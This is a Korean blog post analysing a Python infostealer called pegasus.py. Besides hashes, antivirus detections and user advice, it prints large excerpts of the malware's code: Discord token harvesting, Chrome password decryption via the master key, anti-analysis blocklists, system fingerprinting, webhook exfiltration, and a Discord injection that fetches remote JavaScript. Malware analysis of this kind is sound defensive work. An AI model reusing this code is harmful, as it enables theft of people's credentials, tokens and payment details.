꿈을꾸는 파랑새

오늘은 브라우저에 등록된 비밀번호 및 디스코드, 가상화폐 비밀번호를 훔치는 악성코드인 pegasus.py 에 대해 알아보겠습니다. 먼저 해당 악성코드 해쉬값은 다음과 같습니다.
파일명:pegasus.py
사이즈:20.5 KB
CRC32:6ecc20fd
MD5:e217aa8071fbe266e2946f9220a32429
SHA-1:1183e862bfe50a0782d1a66d4986bf2a945c7e2c
SHA-256:2fbdd7403b180c48441bc6539fd0fa244a888b45d69e3287262756672464c329
SHA-512:10ecfb662600a012756405b717af7879100c769fe2a076034d11e280b61f27a1f65bb6f1bd438566900ad401295ef375c39cf12a350e872200da2a78a98fedb0
일단 해당 악성코드는 기본적으로 파이썬(Python)으로 제작된 악성코드로서 악성코드가 훔치는 정보는 다음과 같습니다.
디스코드 아이디 비밀번호, 오페라 브라우저, 오페라 브라우저 GX, 파이어폭스 브라우저,Amigo,Torch,Kometa,Orbitum,CentBrowser,7Star,Sputunik,Vivaldi.Chrome SXS,Chrome,Epin Priveacy Browser,Microsft Edge,Uran,Yandex,Brave,Iridium
즉 이더리움, 러시아에서 사용하는 스푸트니크 브라우저, 구글 크롬, 마이크로소프트 엣지,얀덱스 브라우저, 센트 브라우저등에 접근을 하는 것을 확인할 수가 있습니다. 관련 코드들은 다음과 같습니다.

pegasus.py 디스코드 토큰 및 가상화폐 토큰 탈취
pegasus.py 디스코드 토큰 및 가상화폐 토큰 탈취

def grabTokens(self):
		global token, tokens
		
		paths = {
			'Discord': self.roaming + r'\\discord\\Local Storage\\leveldb\\',
			'Discord Canary': self.roaming + r'\\discordcanary\\Local Storage\\leveldb\\',
			'Lightcord': self.roaming + r'\\Lightcord\\Local Storage\\leveldb\\',
			'Discord PTB': self.roaming + r'\\discordptb\\Local Storage\\leveldb\\',
			'Opera': self.roaming + r'\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\',
			'Opera GX': self.roaming + r'\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\',
			'Amigo': self.appdata + r'\\Amigo\\User Data\\Local Storage\\leveldb\\',
			'Torch': self.appdata + r'\\Torch\\User Data\\Local Storage\\leveldb\\',
			'Kometa': self.appdata + r'\\Kometa\\User Data\\Local Storage\\leveldb\\',
			'Orbitum': self.appdata + r'\\Orbitum\\User Data\\Local Storage\\leveldb\\',
			'CentBrowser': self.appdata + r'\\CentBrowser\\User Data\\Local Storage\\leveldb\\',
			'7Star': self.appdata + r'\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\',
			'Sputnik': self.appdata + r'\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\',
			'Vivaldi': self.appdata + r'\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\',
			'Chrome SxS': self.appdata + r'\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\',
			'Chrome': self.appdata + r'\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\',
			'Epic Privacy Browser': self.appdata + r'\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\',
			'Microsoft Edge': self.appdata + r'\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\',
			'Uran': self.appdata + r'\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\',
			'Yandex': self.appdata + r'\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\',
			'Brave': self.appdata + r'\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\',
			'Iridium': self.appdata + r'\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\'
		}

그리고 디스코드 토큰 수집 관련 코드는 다음과 같습니다.

디스코드 코드 토큰 수집
디스코드 코드 토큰 수집

for token in self.tokens:
			r = requests.get(
				'https://discord(.)com/api/v9/users/@me',
				headers={"Authorization": token})
				
			username = r.json()['username'] + '#' + r.json()['discriminator']
			uid = r.json()['id']
			phone = r.json()['phone']
			email = r.json()['email']
			
			try:
				if r.json()['premium_type'] == 1:
					nitro = 'Nitro Classic'
				elif r.json()['premium_type'] == 2:
					nitro = 'Nitro Boost'
			except IndexError or KeyError:
				nitro = 'None'

			b = requests.get("https://discord(.)com/api/v6/users/@me/billing/payment-sources", 
							headers=self.getheaders(token))
			
			if b.json() == []:
				methods = "None"
			else:
				methods = ""
				for method in b.json():
					if method['type'] == 1:
						methods += "💳"
					elif method['type'] == 0:
						methods += "<:paypal:973417655627288???>"
					else:
						methods += "❓"
						embed.add_field(name=f"🔷  User: `{username} ({uid})`", value=f"```{token}```\n\n**Email:** `{email}`\n**Phone:** `{phone}`\n**Nitro:** `{nitro}`\n**Methods:** `{methods}`", inline=False)

구글 크롬 브라우저 관련 코드

구글 크롬 브라우저 비빌번호 저장
구글 크롬 브라우저 비빌번호 저장

def ss():
	ImageGrab.grab().save("screenshot.png")
	hide("screenshot.png")
	
class password():
	def __init__(self):
		self.appdata = os.getenv("localappdata")
		self.roaming = os.getenv("appdata")

		with open("google-passwords.txt", "w") as f:
			f.write("pegasus /// Google Chrome Passwords\n\n")
		hide(".\\google-passwords.txt")
		
		if os.path.exists(self.appdata+'\\Google'):
			self.grabPassword_chrome() 
		
		return
		
	def get_master_key(self):
		with open(self.appdata+'\\Google\\Chrome\\User Data\\Local State', "r", encoding="utf-8") as f:
			local_state = f.read()
		local_state = loads(local_state)

		master_key = b64decode(local_state["os_crypt"]["encrypted_key"])
		master_key = master_key[5:]
		master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
		return master_key
	
	def decrypt_password(self, buff, master_key):
		try:
			iv = buff[3:15]
			payload = buff[15:]
			cipher = AES.new(master_key, AES.MODE_GCM, iv)
			decrypted_pass = cipher.decrypt(payload)
			decrypted_pass = decrypted_pass[:-16].decode()
			return decrypted_pass
		except:
			return "Chrome < 80"

그리고 ImageGrab.grab().save 통해서 화면 캡쳐 및 저장 기능도 포함된 것을 볼 수가 있습니다.
get_master_key를 통해서 구글 크롬 은 사용자의 편의를 위해 로그인이 필요한 사이트마다 아이디와 비밀번호를 기억하는 기능을 제공하고 있는데 구글 크롬에서 제공하는 자동 로그인은 패스워드를 평문으로 기억해야 하는 경우라면 암호화, 복호화가 가능한 알고리즘으로 로컬 내 저장하는 방식을 사용하고 있습니다.
DPAPI(Data Protection API)인 CryptProtectData를 사용해 패스워드를 암호화 후 SQLite로 저장을 하고 구글 크롬 브라우저의 암호화 키 값 위치 경로 인 %USERPROFILE%\AppData\Google\Chrome\User Data\Local State 에 접근을 하고 있으며 해당 파일로 악성코드가 실행되고 접근해서 encrypted_key 단어를 찾아서 해당 키 값을 이용하여 패스워드를 해독할 수 있게 됩니다.

정상적으로 접근하면 google-passwords.txt로 저장하게 됩니다.
그리고 쭉 내려가다 보면 악성코드가 정상적으로 실행하기 위해서 방해되는 프로세스를 검색하는 것을 볼 수가 있습니다.

악성코드에 포함이 되어져 있는 블랙 리스트
악성코드에 포함이 되어져 있는 블랙 리스트

class debug:
	def __init__(self):
		if self.checks(): self.self_destruct()
	
	def checks(self):
		debugging = False 
		
		# blackList from Rdimo
		self.blackListedUsers = ["WDAGUtilityAccount","Abby","Peter Wilson","hmarc","patex","JOHN-PC","RDhJ0CNFevzX","kEecfMwgj","Frank","8Nl0ColNQ5bq","Lisa","John","george","PxmdUOpVyx","8VizSM","w0fjuOVmCcP5A","lmVwjj9b","PqONjHVwexsS","3u2v9m8","Julia","HEUeRzl",]
		self.blackListedPCNames = ["BEE7370C-8C0C-4","DESKTOP-NAKFFMT","WIN-5E07COS9ALR","B30F0242-1C6A-4","DESKTOP-VRSQLAG","Q9IATRKPRH","XC64ZB","DESKTOP-D019GDM","DESKTOP-WI8CLET","SERVER1","LISA-PC","JOHN-PC","DESKTOP-B0T93D6","DESKTOP-1PYKP29","DESKTOP-1Y2433R","WILEYPC","WORK","6C4E733F-C2D9-4","RALPHS-PC","DESKTOP-WG3MYJS","DESKTOP-7XC6GEZ","DESKTOP-5OV9S0O","QarZhrdBpj","ORELEEPC","ARCHIBALDPC","JULIA-PC","d1bnJkfVlH",]
		self.blackListedHWIDS = ["7AB5C494-39F5-4941-9163-47F54D6D5016","032E02B4-0499-05C3-0806-3C0700080009","03DE0294-0480-05DE-1A06-350700080009","11111111-2222-3333-4444-555555555555","6F3CA5EC-BEC9-4A4D-8274-11168F640058","ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548","4C4C4544-0050-3710-8058-CAC04F59344A","00000000-0000-0000-0000-AC1F6BD04972","00000000-0000-0000-0000-000000000000","5BD24D56-789F-8468-7CDC-CAA7222CC121","49434D53-0200-9065-2500-65902500E439","49434D53-0200-9036-2500-36902500F022","777D84B3-88D1-451C-93E4-D235177420A7","49434D53-0200-9036-2500-369025000C65","B1112042-52E8-E25B-3655-6A4F54155DBF","00000000-0000-0000-0000-AC1F6BD048FE","EB16924B-FB6D-4FA1-8666-17B91F62FB37","A15A930C-8251-9645-AF63-E45AD728C20C","67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3","C7D23342-A5D4-68A1-59AC-CF40F735B363","63203342-0EB0-AA1A-4DF5-3FB37DBB0670","44B94D56-65AB-DC02-86A0-98143A7423BF","6608003F-ECE4-494E-B07E-1C4615D1D93C","D9142042-8F51-5EFF-D5F8-EE9AE3D1602A","49434D53-0200-9036-2500-369025003AF0","8B4E8278-525C-7343-B825-280AEBCD3BCB","4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27","79AF5279-16CF-4094-9758-F88A616D81B4",]
		self.blackListedIPS = ["88.132.231(.)71","78.139.8(.)50","20.99.160(.)173","88.153.199(.)169","84.147.62(.)12","194.154(.)78.160","92.211.109(.)160","195.74.76(.)222","188.105.91(.)116","34.105.183(.)68","92.211.55(.)199","79.104.209(.)33","95.25.204(.)90","34.145.89(.)174","109.74.154(.)90","109.145.173(.)169","34.141.146(.)114","212.119.227(.)151","195.239.51(.)59","192.40.57(.)234","64.124.12(.)162","34.142.74(.)220","188.105.91(.)173","109.74.154(.)91","34.105.72(.)241","109.74(.)154.92","213.33(.)142.50",]
		self.blacklistedProcesses = ["HTTP Toolkit.exe", "Fiddler.exe", "Wireshark.exe"]
		
		self.check_process()
		
		if self.get_ip(): debugging = True
		if self.get_hwid(): debugging = True
		if self.get_pcname(): debugging = True
		if self.get_username(): debugging = True
		
		return debugging

이며 와이어샤크, Fiddler,HTTP Toolkit 같은 패킷 분석 프로그램을 블랙리스트 명단에 있는 것을 확인할 수가 있었습니다.
ipinfo(.)io 를 통해서 사용자가 접속한 아이피로 위치를 파악하는 것을 볼 수가 있습니다.
그리고 수집한 정보를 다음과 같은 방법으로 전송합니다.

컴퓨터 정보 수집
컴퓨터 정보 수집

file = None
	file = File(f'files-{os.getenv("UserName")}.zip')
	
	webhook.send(content="||@here|| <http://www.addidix(.)xyz>", embed=embed, file=file, avatar_url="https://media.discordapp(.)net/attachments/798245111070851105/930314565454004244/IMG_2575.jpg", username="Pegasus")
	
def pegasus():
	for func in {
		main(WEBHOOK_URL), 
		inject(WEBHOOK_URL),
		cleanup(),
	}:
		try:
			func()
		except:
			pass

개인정보 전송

그리고 def get_inf(): 를 통해서 악성코드에 감염된 컴퓨터의 사용자 이름, 컴퓨터 이름, CPU, GPU, 램(RAM), 시스템 정보, IP 주소, 운영체제 정보, 하드웨어 ID, 맥 주소(맥 어드레스)를 수집하는 것을 확인할 수가 있습니다.

def get_inf():
	ip_address = requests.get('http://ipinfo(.)io/json').json()['ip']
	mac_address = ':'.join(re.findall('..', '%012x' % uuid.getnode()))

	p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
	hwid = ((p.stdout.read() + p.stderr.read()).decode().split("\n")[1])

	cwd = os.getcwd()
	pc_username = os.getenv("UserName")
	pc_name = os.getenv("COMPUTERNAME")
	computer_os = platform()
	
	cpu = wmi.WMI().Win32_Processor()[0]
	gpu = wmi.WMI().Win32_VideoController()[0]
	ram = round(float(wmi.WMI().Win32_OperatingSystem()[0].TotalVisibleMemorySize) / 1048576, 0)
  
	embed.add_field(name="🔷  SYSTEM INFO", value=f"```\nIP: {ip_address}\nMAC: {mac_address}\n\nPC Username: {pc_username}\nPC Name: {pc_name}\nOS: {computer_os}\nHWID: {hwid}CPU: {cpu.Name}\nGPU: {gpu.Name}\nRAM: {ram}GB\n```", inline=False)

webhook_url를 통해서 특정 행동(이벤트)들을 커스텀 Callback로 변환해주는 방법을 사용하고 있습니다.

악성코드 인젝션
악성코드 인젝션

def inject(webhook_url):
	appdata = os.getenv("localappdata")
	for _dir in os.listdir(appdata):
		if 'discord' in _dir.lower():
			for __dir in os.listdir(os.path.abspath(appdata+os.sep+_dir)):
				if match(r'app-(\d*\.\d*)*', __dir):
					abspath = os.path.abspath(appdata+os.sep+_dir+os.sep+__dir) 
					f = requests.get("https://raw.githubusercontent(.)com/addi00000/pegasus/main/inject.js").text.replace("%WEBHOOK%", webhook_url)
					modules_dir = os.listdir(abspath+'\\modules') 
					with open(abspath+f'\\modules\\{difflib.get_close_matches("discord_desktop_core", modules_dir, n=1, cutoff=0.6)[0]}\\discord_desktop_core\\index(.)js', 'w', encoding="utf-8") as indexFile:
						indexFile.write(f)
					subprocess.call(["start", abspath+os.sep+"Discord.exe"], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
	
	if os.path.exists(appdata+'\\discord'):
		with open(abspath+f'\\modules\\{difflib.get_close_matches("discord_desktop_core", modules_dir, n=1, cutoff=0.6)[0]}\\discord_desktop_core\\index.js', 'r', encoding="utf-8") as indexFile:
			index = indexFile.read()
			if webhook_url in index:
				webhook = Webhook.from_url(webhook_url, adapter=RequestsWebhookAdapter())
				embed = Embed(title="Pegasus Logger", color=15535980)

				embed.set_footer(text="Pegasus Logger | Made by www.addidix(.)xyz")
				embed.set_thumbnail(url="https://images-ext-2.discordapp(.)net/external/8_XRBxiJdDcKXyUMqNwDiAtIb8lt70DaUHRiUd_bsf4/https/i.imgur(.)com/q1NJvOx.png")
				embed.add_field(name="Injection", value=f"Successfully injected into Discord\n\nUser: {os.getenv('UserName')}\nIP: {requests.get('http://ipinfo(.)io/json').json()['ip']}", inline=False)
	
				webhook.send(embed=embed, avatar_url="https://media.discordapp(.)net/attachments/798245111070851105/930314565454004244/IMG_2575.jpg", username="Pegasus")

해당 악성코드의 디스코드 파이썬 스틸로,IP,사용자,HWIDS Mac, 프로세스,PC 이름에서 거대한 블랙리스트를 만드는 것이 특징이며 2022-09-09 18:56:02 UTC 기준 바이러스토탈(Virus Total)에서 탐지하는 백신 프로그램(안티바이러스) 보안 업체들은 다음과 같습니다.
Ad-Aware:Trojan.MAC.Generic.110144
ALYac:Trojan.MAC.Generic.110144
Arcabit:Trojan.MAC.Generic.D1AE40
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
Avira (no cloud):TR/PSW.Stealer.GH
BitDefender:Trojan.MAC.Generic.110144
Comodo:Malware@#3n1kx0nzw6my7
Cynet:Malicious (score: 99)
Emsisoft:Trojan.MAC.Generic.110144 (B)
eScan:Trojan.MAC.Generic.110144
ESET-NOD32:Python/PSW.Stealer.AD
F-Secure:Trojan.TR/PSW.Stealer.GH
GData:Trojan.MAC.Generic.110144
Google:Detected
Ikarus:Trojan-Spy.Python.Pegasus
Kaspersky:HEUR:Trojan-PSW.Multi.Disco.gen
Lionic:Trojan.Multi.Disco.i!c
MAX:Malware (ai Score=82)
Symantec:OSX.Trojan.Gen
Tencent:Win32.Trojan-QQPass.QQRob.Wwhl
Trellix (FireEye):Trojan.MAC.Generic.110144
VIPRE:Trojan.MAC.Generic.110144
ZoneAlarm by Check Point:HEUR:Trojan-PSW.Multi.Disco
일단 바이러스토탈 기준으로 국내 업체는 알약에서만 탐지하고 있어서 안랩 V3에 일단 AhnRpt(안랩 리포터)를 통해서 해당 악성코드는 신고했습니다.
매우 간단한 형태의 정보 탈취 악성코드지만 감염 시 사용자의 주요 정보가 공격자에게 유출되어 심각한 2차 피해가 발생할 수 있기 때문에 주의가 필요하며 함부로 사이트들에서 파일을 다운로드 하지 말고 항상 백신 프로그램,윈도우 업데이트,각종 드라이버 업데이트,프로그램 최신 업데이트 그리고 프로그램에서 걸어 놓은 최소한의 보안 장치들을 해제하는 것을 하지 말아야 합니다. 사견(私見)으로는 러시아인들을 상대로 만든 악성코드가 아닐까 추측합니다.

반응형
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band